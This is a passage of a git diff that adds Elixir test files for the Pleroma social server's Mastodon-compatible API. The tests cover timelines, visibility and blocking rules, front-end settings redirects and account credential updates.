true}} + ) + + res = + conn + |> delete("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(200) + + assert %{} == res + refute Pleroma.Repo.get(Subscription, subscription.id) + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs new file mode 100644 index 000000000..7f08e187c --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs @@ -0,0 +1,18 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.SuggestionControllerTest do + use Pleroma.Web.ConnCase + + setup do: oauth_access(["read"]) + + test "returns empty result", %{conn: conn} do + res = + conn + |> get("/api/v1/suggestions") + |> json_response_and_validate_schema(200) + + assert res == [] + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/timeline_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/timeline_controller_test.exs new file mode 100644 index 000000000..c6e0268fd --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/timeline_controller_test.exs @@ -0,0 +1,560 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import Tesla.Mock + + alias Pleroma.Config + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "home" do + setup do: oauth_access(["read:statuses"]) + + test "does NOT embed account/pleroma/relationship in statuses", %{ + user: user, + conn: conn + } do + other_user = insert(:user) + + {:ok, _} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + response = + conn + |> assign(:user, user) + |> get("/api/v1/timelines/home") + |> json_response_and_validate_schema(200) + + assert Enum.all?(response, fn n -> + get_in(n, ["account", "pleroma", "relationship"]) == %{} + end) + end + + test "the home timeline when the direct messages are excluded", %{user: user, conn: conn} do + {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) + + {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + + conn = get(conn, "/api/v1/timelines/home?exclude_visibilities[]=direct") + + assert status_ids = json_response_and_validate_schema(conn, :ok) |> Enum.map(& &1["id"]) + assert public_activity.id in status_ids + assert unlisted_activity.id in status_ids + assert private_activity.id in status_ids + refute direct_activity.id in status_ids + end + end + + describe "public" do + @tag capture_log: true + test "the public timeline", %{conn: conn} do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + + _activity = insert(:note_activity, local: false) + + conn = get(conn, "/api/v1/timelines/public?local=False") + + assert length(json_response_and_validate_schema(conn, :ok)) == 2 + + conn = get(build_conn(), "/api/v1/timelines/public?local=True") + + assert [%{"content" => "test"}] = json_response_and_validate_schema(conn, :ok) + + conn = get(build_conn(), "/api/v1/timelines/public?local=1") + + assert [%{"content" => "test"}] = json_response_and_validate_schema(conn, :ok) + + # does not contain repeats + {:ok, _} = CommonAPI.repeat(activity.id, user) + + conn = get(build_conn(), "/api/v1/timelines/public?local=true") + + assert [_] = json_response_and_validate_schema(conn, :ok) + end + + test "the public timeline includes only public statuses for an authenticated user" do + %{user: user, conn: conn} = oauth_access(["read:statuses"]) + + {:ok, _activity} = CommonAPI.post(user, %{status: "test"}) + {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "private"}) + {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "unlisted"}) + {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "direct"}) + + res_conn = get(conn, "/api/v1/timelines/public") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + + test "doesn't return replies if follower is posting with blocked user" do + %{conn: conn, user: blocker} = oauth_access(["read:statuses"]) + [blockee, friend] = insert_list(2, :user) + {:ok, blocker} = User.follow(blocker, friend) + {:ok, _} = User.block(blocker, blockee) + + conn = assign(conn, :user, blocker) + + {:ok, %{id: activity_id} = activity} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, reply_from_blockee} = + CommonAPI.post(blockee, %{status: "heya", in_reply_to_status_id: activity}) + + {:ok, _reply_from_friend} = + CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) + + # Still shows replies from yourself + {:ok, %{id: reply_from_me}} = + CommonAPI.post(blocker, %{status: "status", in_reply_to_status_id: reply_from_blockee}) + + response = + get(conn, "/api/v1/timelines/public") + |> json_response_and_validate_schema(200) + + assert length(response) == 2 + [%{"id" => ^reply_from_me}, %{"id" => ^activity_id}] = response + end + + test "doesn't return replies if follow is posting with users from blocked domain" do + %{conn: conn, user: blocker} = oauth_access(["read:statuses"]) + friend = insert(:user) + blockee = insert(:user, ap_id: "https://example.com/users/blocked") + {:ok, blocker} = User.follow(blocker, friend) + {:ok, blocker} = User.block_domain(blocker, "example.com") + + conn = assign(conn, :user, blocker) + + {:ok, %{id: activity_id} = activity} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, reply_from_blockee} = + CommonAPI.post(blockee, %{status: "heya", in_reply_to_status_id: activity}) + + {:ok, _reply_from_friend} = + CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) + + res_conn = get(conn, "/api/v1/timelines/public") + + activities = json_response_and_validate_schema(res_conn, 200) + [%{"id" => ^activity_id}] = activities + end + end + + defp local_and_remote_activities do + insert(:note_activity) + insert(:note_activity, local: false) + :ok + end + + describe "public with restrict unauthenticated timeline for local and federated timelines" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + test "if user is unauthenticated", %{conn: conn} do + res_conn = get(conn, "/api/v1/timelines/public?local=true") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "authorization required for timeline view" + } + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "authorization required for timeline view" + } + end + + test "if user is authenticated" do + %{conn: conn} = oauth_access(["read:statuses"]) + + res_conn = get(conn, "/api/v1/timelines/public?local=true") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "public with restrict unauthenticated timeline for local" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) + + test "if user is unauthenticated", %{conn: conn} do + res_conn = get(conn, "/api/v1/timelines/public?local=true") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "authorization required for timeline view" + } + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + + test "if user is authenticated", %{conn: _conn} do + %{conn: conn} = oauth_access(["read:statuses"]) + + res_conn = get(conn, "/api/v1/timelines/public?local=true") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "public with restrict unauthenticated timeline for remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + test "if user is unauthenticated", %{conn: conn} do + res_conn = get(conn, "/api/v1/timelines/public?local=true") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "authorization required for timeline view" + } + end + + test "if user is authenticated", %{conn: _conn} do + %{conn: conn} = oauth_access(["read:statuses"]) + + res_conn = get(conn, "/api/v1/timelines/public?local=true") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "direct" do + test "direct timeline", %{conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + + {:ok, user_two} = User.follow(user_two, user_one) + + {:ok, direct} = + CommonAPI.post(user_one, %{ + status: "Hi @#{user_two.nickname}!", + visibility: "direct" + }) + + {:ok, _follower_only} = + CommonAPI.post(user_one, %{ + status: "Hi @#{user_two.nickname}!", + visibility: "private" + }) + + conn_user_two = + conn + |> assign(:user, user_two) + |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"])) + + # Only direct should be visible here + res_conn = get(conn_user_two, "api/v1/timelines/direct") + + assert [status] = json_response_and_validate_schema(res_conn, :ok) + + assert %{"visibility" => "direct"} = status + assert status["url"] != direct.data["id"] + + # User should be able to see their own direct message + res_conn = + build_conn() + |> assign(:user, user_one) + |> assign(:token, insert(:oauth_token, user: user_one, scopes: ["read:statuses"])) + |> get("api/v1/timelines/direct") + + [status] = json_response_and_validate_schema(res_conn, :ok) + + assert %{"visibility" => "direct"} = status + + # Both should be visible here + res_conn = get(conn_user_two, "api/v1/timelines/home") + + [_s1, _s2] = json_response_and_validate_schema(res_conn, :ok) + + # Test pagination + Enum.each(1..20, fn _ -> + {:ok, _} = + CommonAPI.post(user_one, %{ + status: "Hi @#{user_two.nickname}!", + visibility: "direct" + }) + end) + + res_conn = get(conn_user_two, "api/v1/timelines/direct") + + statuses = json_response_and_validate_schema(res_conn, :ok) + assert length(statuses) == 20 + + max_id = List.last(statuses)["id"] + + res_conn = get(conn_user_two, "api/v1/timelines/direct?max_id=#{max_id}") + + assert [status] = json_response_and_validate_schema(res_conn, :ok) + + assert status["url"] != direct.data["id"] + end + + test "doesn't include DMs from blocked users" do + %{user: blocker, conn: conn} = oauth_access(["read:statuses"]) + blocked = insert(:user) + other_user = insert(:user) + {:ok, _user_relationship} = User.block(blocker, blocked) + + {:ok, _blocked_direct} = + CommonAPI.post(blocked, %{ + status: "Hi @#{blocker.nickname}!", + visibility: "direct" + }) + + {:ok, direct} = + CommonAPI.post(other_user, %{ + status: "Hi @#{blocker.nickname}!", + visibility: "direct" + }) + + res_conn = get(conn, "api/v1/timelines/direct") + + [status] = json_response_and_validate_schema(res_conn, :ok) + assert status["id"] == direct.id + end + end + + describe "list" do + setup do: oauth_access(["read:lists"]) + + test "does not contain retoots", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, activity_one} = CommonAPI.post(user, %{status: "Marisa is cute."}) + {:ok, activity_two} = CommonAPI.post(other_user, %{status: "Marisa is stupid."}) + {:ok, _} = CommonAPI.repeat(activity_one.id, other_user) + + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = get(conn, "/api/v1/timelines/list/#{list.id}") + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) + + assert id == to_string(activity_two.id) + end + + test "works with pagination", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + Enum.each(1..30, fn i -> + CommonAPI.post(other_user, %{status: "post number #{i}"}) + end) + + res = + get(conn, "/api/v1/timelines/list/#{list.id}?limit=1") + |> json_response_and_validate_schema(:ok) + + assert length(res) == 1 + + [first] = res + + res = + get(conn, "/api/v1/timelines/list/#{list.id}?max_id=#{first["id"]}&limit=30") + |> json_response_and_validate_schema(:ok) + + assert length(res) == 29 + end + + test "list timeline", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, _activity_one} = CommonAPI.post(user, %{status: "Marisa is cute."}) + {:ok, activity_two} = CommonAPI.post(other_user, %{status: "Marisa is cute."}) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = get(conn, "/api/v1/timelines/list/#{list.id}") + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) + + assert id == to_string(activity_two.id) + end + + test "list timeline does not leak non-public statuses for unfollowed users", %{ + user: user, + conn: conn + } do + other_user = insert(:user) + {:ok, activity_one} = CommonAPI.post(other_user, %{status: "Marisa is cute."}) + + {:ok, _activity_two} = + CommonAPI.post(other_user, %{ + status: "Marisa is cute.", + visibility: "private" + }) + + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = get(conn, "/api/v1/timelines/list/#{list.id}") + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) + + assert id == to_string(activity_one.id) + end + end + + describe "hashtag" do + setup do: oauth_access(["n/a"]) + + @tag capture_log: true + test "hashtag timeline", %{conn: conn} do + following = insert(:user) + + {:ok, activity} = CommonAPI.post(following, %{status: "test #2hu"}) + + nconn = get(conn, "/api/v1/timelines/tag/2hu") + + assert [%{"id" => id}] = json_response_and_validate_schema(nconn, :ok) + + assert id == to_string(activity.id) + + # works for different capitalization too + nconn = get(conn, "/api/v1/timelines/tag/2HU") + + assert [%{"id" => id}] = json_response_and_validate_schema(nconn, :ok) + + assert id == to_string(activity.id) + end + + test "multi-hashtag timeline", %{conn: conn} do + user = insert(:user) + + {:ok, activity_test} = CommonAPI.post(user, %{status: "#test"}) + {:ok, activity_test1} = CommonAPI.post(user, %{status: "#test #test1"}) + {:ok, activity_none} = CommonAPI.post(user, %{status: "#test #none"}) + + any_test = get(conn, "/api/v1/timelines/tag/test?any[]=test1") + + [status_none, status_test1, status_test] = json_response_and_validate_schema(any_test, :ok) + + assert to_string(activity_test.id) == status_test["id"] + assert to_string(activity_test1.id) == status_test1["id"] + assert to_string(activity_none.id) == status_none["id"] + + restricted_test = get(conn, "/api/v1/timelines/tag/test?all[]=test1&none[]=none") + + assert [status_test1] == json_response_and_validate_schema(restricted_test, :ok) + + all_test = get(conn, "/api/v1/timelines/tag/test?all[]=none") + + assert [status_none] == json_response_and_validate_schema(all_test, :ok) + end + end + + describe "hashtag timeline handling of :restrict_unauthenticated setting" do + setup do + user = insert(:user) + {:ok, activity1} = CommonAPI.post(user, %{status: "test #tag1"}) + {:ok, _activity2} = CommonAPI.post(user, %{status: "test #tag1"}) + + activity1 + |> Ecto.Changeset.change(%{local: false}) + |> Pleroma.Repo.update() + + base_uri = "/api/v1/timelines/tag/tag1" + error_response = %{"error" => "authorization required for timeline view"} + + %{base_uri: base_uri, error_response: error_response} + end + + defp ensure_authenticated_access(base_uri) do + %{conn: auth_conn} = oauth_access(["read:statuses"]) + + res_conn = get(auth_conn, "#{base_uri}?local=true") + assert length(json_response(res_conn, 200)) == 1 + + res_conn = get(auth_conn, "#{base_uri}?local=false") + assert length(json_response(res_conn, 200)) == 2 + end + + test "with default settings on private instances, returns 403 for unauthenticated users", %{ + conn: conn, + base_uri: base_uri, + error_response: error_response + } do + clear_config([:instance, :public], false) + clear_config([:restrict_unauthenticated, :timelines]) + + for local <- [true, false] do + res_conn = get(conn, "#{base_uri}?local=#{local}") + + assert json_response(res_conn, :unauthorized) == error_response + end + + ensure_authenticated_access(base_uri) + end + + test "with `%{local: true, federated: true}`, returns 403 for unauthenticated users", %{ + conn: conn, + base_uri: base_uri, + error_response: error_response + } do + clear_config([:restrict_unauthenticated, :timelines, :local], true) + clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + for local <- [true, false] do + res_conn = get(conn, "#{base_uri}?local=#{local}") + + assert json_response(res_conn, :unauthorized) == error_response + end + + ensure_authenticated_access(base_uri) + end + + test "with `%{local: false, federated: true}`, forbids unauthenticated access to federated timeline", + %{conn: conn, base_uri: base_uri, error_response: error_response} do + clear_config([:restrict_unauthenticated, :timelines, :local], false) + clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + res_conn = get(conn, "#{base_uri}?local=true") + assert length(json_response(res_conn, 200)) == 1 + + res_conn = get(conn, "#{base_uri}?local=false") + assert json_response(res_conn, :unauthorized) == error_response + + ensure_authenticated_access(base_uri) + end + + test "with `%{local: true, federated: false}`, forbids unauthenticated access to public timeline" <> + "(but not to local public activities which are delivered as part of federated timeline)", + %{conn: conn, base_uri: base_uri, error_response: error_response} do + clear_config([:restrict_unauthenticated, :timelines, :local], true) + clear_config([:restrict_unauthenticated, :timelines, :federated], false) + + res_conn = get(conn, "#{base_uri}?local=true") + assert json_response(res_conn, :unauthorized) == error_response + + # Note: local activities get delivered as part of federated timeline + res_conn = get(conn, "#{base_uri}?local=false") + assert length(json_response(res_conn, 200)) == 2 + + ensure_authenticated_access(base_uri) + end + end +end diff --git a/test/pleroma/web/mastodon_api/masto_fe_controller_test.exs b/test/pleroma/web/mastodon_api/masto_fe_controller_test.exs new file mode 100644 index 000000000..ed8add8d2 --- /dev/null +++ b/test/pleroma/web/mastodon_api/masto_fe_controller_test.exs @@ -0,0 +1,85 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MastoFEControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.User + + import Pleroma.Factory + + setup do: clear_config([:instance, :public]) + + test "put settings", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:accounts"])) + |> put("/api/web/settings", %{"data" => %{"programming" => "socks"}}) + + assert _result = json_response(conn, 200) + + user = User.get_cached_by_ap_id(user.ap_id) + assert user.mastofe_settings == %{"programming" => "socks"} + end + + describe "index/2 redirections" do + setup %{conn: conn} do + session_opts = [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + conn = + conn + |> Plug.Session.call(Plug.Session.init(session_opts)) + |> fetch_session() + + test_path = "/web/statuses/test" + %{conn: conn, path: test_path} + end + + test "redirects not logged-in users to the login page", %{conn: conn, path: path} do + conn = get(conn, path) + + assert conn.status == 302 + assert redirected_to(conn) == "/web/login" + end + + test "redirects not logged-in users to the login page on private instances", %{ + conn: conn, + path: path + } do + Config.put([:instance, :public], false) + + conn = get(conn, path) + + assert conn.status == 302 + assert redirected_to(conn) == "/web/login" + end + + test "does not redirect logged in users to the login page", %{conn: conn, path: path} do + token = insert(:oauth_token, scopes: ["read"]) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> get(path) + + assert conn.status == 200 + end + + test "saves referer path to session", %{conn: conn, path: path} do + conn = get(conn, path) + return_to = Plug.Conn.get_session(conn, :return_to) + + assert return_to == path + end + end +end diff --git a/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs b/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs new file mode 100644 index 000000000..bb4bc4396 --- /dev/null +++ b/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs @@ -0,0 +1,34 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do + use Pleroma.Web.ConnCase + + describe "empty_array/2 (stubs)" do + test "GET /api/v1/accounts/:id/identity_proofs" do + %{user: user, conn: conn} = oauth_access(["read:accounts"]) + + assert [] == + conn + |> get("/api/v1/accounts/#{user.id}/identity_proofs") + |> json_response(200) + end + + test "GET /api/v1/endorsements" do + %{conn: conn} = oauth_access(["read:accounts"]) + + assert [] == + conn + |> get("/api/v1/endorsements") + |> json_response(200) + end + + test "GET /api/v1/trends", %{conn: conn} do + assert [] == + conn + |> get("/api/v1/trends") + |> json_response(200) + end + end +end diff --git a/test/pleroma/web/mastodon_api/mastodon_api_test.exs b/test/pleroma/web/mastodon_api/mastodon_api_test.exs new file mode 100644 index 000000000..0c5a38bf6 --- /dev/null +++ b/test/pleroma/web/mastodon_api/mastodon_api_test.exs @@ -0,0 +1,103 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MastodonAPITest do + use Pleroma.Web.ConnCase + + alias Pleroma.Notification + alias Pleroma.ScheduledActivity + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.MastodonAPI + + import Pleroma.Factory + + describe "follow/3" do + test "returns error when followed user is deactivated" do + follower = insert(:user) + user = insert(:user, local: true, deactivated: true) + assert {:error, _error} = MastodonAPI.follow(follower, user) + end + + test "following for user" do + follower = insert(:user) + user = insert(:user) + {:ok, follower} = MastodonAPI.follow(follower, user) + assert User.following?(follower, user) + end + + test "returns ok if user already followed" do + follower = insert(:user) + user = insert(:user) + {:ok, follower} = User.follow(follower, user) + {:ok, follower} = MastodonAPI.follow(follower, refresh_record(user)) + assert User.following?(follower, user) + end + end + + describe "get_followers/2" do + test "returns user followers" do + follower1_user = insert(:user) + follower2_user = insert(:user) + user = insert(:user) + {:ok, _follower1_user} = User.follow(follower1_user, user) + {:ok, follower2_user} = User.follow(follower2_user, user) + + assert MastodonAPI.get_followers(user, %{"limit" => 1}) == [follower2_user] + end + end + + describe "get_friends/2" do + test "returns user friends" do + user = insert(:user) + followed_one = insert(:user) + followed_two = insert(:user) + followed_three = insert(:user) + + {:ok, user} = User.follow(user, followed_one) + {:ok, user} = User.follow(user, followed_two) + {:ok, user} = User.follow(user, followed_three) + res = MastodonAPI.get_friends(user) + + assert length(res) == 3 + assert Enum.member?(res, refresh_record(followed_three)) + assert Enum.member?(res, refresh_record(followed_two)) + assert Enum.member?(res, refresh_record(followed_one)) + end + end + + describe "get_notifications/2" do + test "returns notifications for user" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + + {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) + + {:ok, status1} = CommonAPI.post(user, %{status: "Magi"}) + {:ok, [notification]} = Notification.create_notifications(status) + {:ok, [notification1]} = Notification.create_notifications(status1) + res = MastodonAPI.get_notifications(subscriber) + + assert Enum.member?(Enum.map(res, & &1.id), notification.id) + assert Enum.member?(Enum.map(res, & &1.id), notification1.id) + end + end + + describe "get_scheduled_activities/2" do + test "returns user scheduled activities" do + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, schedule} = ScheduledActivity.create(user, attrs) + assert MastodonAPI.get_scheduled_activities(user) == [schedule] + end + end +end diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs new file mode 100644 index 000000000..fe462caa3 --- /dev/null +++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs @@ -0,0 +1,529 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.UpdateCredentialsTest do + alias Pleroma.Repo + alias Pleroma.User + + use Pleroma.Web.ConnCase + + import Mock + import Pleroma.Factory + + setup do: clear_config([:instance, :max_account_fields]) + + describe "updating credentials" do + setup do: oauth_access(["write:accounts"]) + setup :request_content_type + + test "sets user settings in a generic way", %{conn: conn} do + res_conn = + patch(conn, "/api/v1/accounts/update_credentials", %{ + "pleroma_settings_store" => %{ + pleroma_fe: %{ + theme: "bla" + } + } + }) + + assert user_data = json_response_and_validate_schema(res_conn, 200) + assert user_data["pleroma"]["settings_store"] == %{"pleroma_fe" => %{"theme" => "bla"}} + + user = Repo.get(User, user_data["id"]) + + res_conn = + conn + |> assign(:user, user) + |> patch("/api/v1/accounts/update_credentials", %{ + "pleroma_settings_store" => %{ + masto_fe: %{ + theme: "bla" + } + } + }) + + assert user_data = json_response_and_validate_schema(res_conn, 200) + + assert user_data["pleroma"]["settings_store"] == + %{ + "pleroma_fe" => %{"theme" => "bla"}, + "masto_fe" => %{"theme" => "bla"} + } + + user = Repo.get(User, user_data["id"]) + + clear_config([:instance, :federating], true) + + with_mock Pleroma.Web.Federator, + publish: fn _activity -> :ok end do + res_conn = + conn + |> assign(:user, user) + |> patch("/api/v1/accounts/update_credentials", %{ + "pleroma_settings_store" => %{ + masto_fe: %{ + theme: "blub" + } + } + }) + + assert user_data = json_response_and_validate_schema(res_conn, 200) + + assert user_data["pleroma"]["settings_store"] == + %{ + "pleroma_fe" => %{"theme" => "bla"}, + "masto_fe" => %{"theme" => "blub"} + } + + assert_called(Pleroma.Web.Federator.publish(:_)) + end + end + + test "updates the user's bio", %{conn: conn} do + user2 = insert(:user) + + raw_bio = "I drink #cofe with @#{user2.nickname}\n\nsuya.." + + conn = patch(conn, "/api/v1/accounts/update_credentials", %{"note" => raw_bio}) + + assert user_data = json_response_and_validate_schema(conn, 200) + + assert user_data["note"] == + ~s(I drink #cofe with @#{user2.nickname}

suya..) + + assert user_data["source"]["note"] == raw_bio + + user = Repo.get(User, user_data["id"]) + + assert user.raw_bio == raw_bio + end + + test "updates the user's locking status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["locked"] == true + end + + test "updates the user's chat acceptance status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{accepts_chat_messages: "false"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["accepts_chat_messages"] == false + end + + test "updates the user's allow_following_move", %{user: user, conn: conn} do + assert user.allow_following_move == true + + conn = patch(conn, "/api/v1/accounts/update_credentials", %{allow_following_move: "false"}) + + assert refresh_record(user).allow_following_move == false + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["allow_following_move"] == false + end + + test "updates the user's default scope", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{default_scope: "unlisted"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["source"]["privacy"] == "unlisted" + end + + test "updates the user's privacy", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{source: %{privacy: "unlisted"}}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["source"]["privacy"] == "unlisted" + end + + test "updates the user's hide_followers status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_followers: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["hide_followers"] == true + end + + test "updates the user's discoverable status", %{conn: conn} do + assert %{"source" => %{"pleroma" => %{"discoverable" => true}}} = + conn + |> patch("/api/v1/accounts/update_credentials", %{discoverable: "true"}) + |> json_response_and_validate_schema(:ok) + + assert %{"source" => %{"pleroma" => %{"discoverable" => false}}} = + conn + |> patch("/api/v1/accounts/update_credentials", %{discoverable: "false"}) + |> json_response_and_validate_schema(:ok) + end + + test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do + conn = + patch(conn, "/api/v1/accounts/update_credentials", %{ + hide_followers_count: "true", + hide_follows_count: "true" + }) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["hide_followers_count"] == true + assert user_data["pleroma"]["hide_follows_count"] == true + end + + test "updates the user's skip_thread_containment option", %{user: user, conn: conn} do + response = + conn + |> patch("/api/v1/accounts/update_credentials", %{skip_thread_containment: "true"}) + |> json_response_and_validate_schema(200) + + assert response["pleroma"]["skip_thread_containment"] == true + assert refresh_record(user).skip_thread_containment + end + + test "updates the user's hide_follows status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_follows: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["hide_follows"] == true + end + + test "updates the user's hide_favorites status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_favorites: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["hide_favorites"] == true + end + + test "updates the user's show_role status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{show_role: "false"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["source"]["pleroma"]["show_role"] == false + end + + test "updates the user's no_rich_text status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{no_rich_text: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["source"]["pleroma"]["no_rich_text"] == true + end + + test "updates the user's name", %{conn: conn} do + conn = + patch(conn, "/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["display_name"] == "markorepairs" + + update_activity = Repo.one(Pleroma.Activity) + assert update_activity.data["type"] == "Update" + assert update_activity.data["object"]["name"] == "markorepairs" + end + + test "updates the user's avatar", %{user: user, conn: conn} do + new_avatar = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + assert user.avatar == %{} + + res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => new_avatar}) + + assert user_response = json_response_and_validate_schema(res, 200) + assert user_response["avatar"] != User.avatar_url(user) + + user = User.get_by_id(user.id) + refute user.avatar == %{} + + # Also resets it + _res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => ""}) + + user = User.get_by_id(user.id) + assert user.avatar == nil + end + + test "updates the user's banner", %{user: user, conn: conn} do + new_header = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => new_header}) + + assert user_response = json_response_and_validate_schema(res, 